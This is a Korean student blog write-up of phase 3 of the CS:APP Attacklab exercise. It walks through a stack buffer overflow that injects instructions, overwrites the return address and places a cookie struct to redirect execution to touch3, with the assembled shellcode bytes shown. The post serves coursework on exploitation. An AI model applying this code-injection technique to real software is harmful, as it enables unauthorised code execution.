Study/CS

Lab3: Attacklab (phase 3)

mgchem 2023. 11. 1. 02:00

Overview

 

(gdb) disas touch3

touch3 함수의 구성을 살펴보자.

 

touch3 함수는 argument로 st pointer type을 받는다. 참고로 st는 struct로, 구성은 아래와 같다.

 

typedef struct st {
	char cookie_str[9];
	int cookie_val;
} st;

cookie_str과 cookie_val은 각각 cookie의 string(0x00000000에서 0x 제외), unsigned value이다.

즉 %rdi에 st의 주소값을 넣는 코드가 필요하다.

물론 touch3, hexmatch, hexmatch 안에서 call되는 strncmp 함수들은 data를 stack에 push하므로

Buffer에 저장되는 우리의 입력값이 overwrite될 위험이 있다.

Instruction까지는 괜찮아도 struct는 return address 이후의 주소에 위치하도록 적절한 string을 입력해주어야한다.

 


 

Code Injection

 

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 / return address / struct st

Buffer의 크기는 동일하게 24B. 그리고 return address 8B, 그 이후에 위치할 struct를 어떻게 구성할지 생각해보자.

 

먼저 instruction을 buffer 제일 앞부분부터 위치시킨다면 return address는 buffer의 시작 지점을 가리켜야 한다.

따라서 phase 2에서와 같이 0x0000000055669498, little endian 고려하면 98 94 66 55 00 00 00 00.

 

다음으로 struct st. 다시 구성을 살펴보면

typedef struct st {
	char cookie_str[9];
	int cookie_val;
} st;

char 9자리와 int로 이루어져 있다. char은 1B, int는 4B이므로 size는 4B. Data alignment 고려하면

00 00 00 00 00 00 00 00 00 (char 9자리) / 00 00 00 (4의 배수 맞추기 위해) / 00 00 00 00 (int). 총 16B다.

char는 byte ordering 신경쓰지 않고 cookie 8자리의 각 digit을 ascii로 변환한 값을 한 칸씩 넣으면 된다.

마지막 9번째 자리는 string 마지막에 오는 null (00) 이므로 00 그대로 두고,

int 4B는 little endian 고려하여 cookie value 0x00000000를 LSB부터 1B 씩 써넣으면 된다.

 

이렇게 구성한 struct st의 주소값, 즉 %rdi에 넣어주어야 하는 st pointer는

%rsp에서 return address 8자리 이후인 0x556694b8.

그럼 추가해줄 instruction을 짜보자.

 

push $0x401a0c
mov $0x556694b8, %rdi
ret

0x401a0c는 touch3 함수의 주소값이다. Phase 2에서처럼 3.txt로 저장하고 .d 파일을 만들면

 

3asm.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	68 0c 1a 40 00       	pushq  $0x401a0c
   5:	48 c7 c7 b8 94 66 55 	mov    $0x556694b8,%rdi
   c:	c3                   	retq

해당 instruction으로 buffer 24B의 앞자리를 채운다. 이렇게 하여 입력할 string의 ascii code를 얻었고,

hex2raw를 사용하여 string 파일을 만들어 입력하면 정답.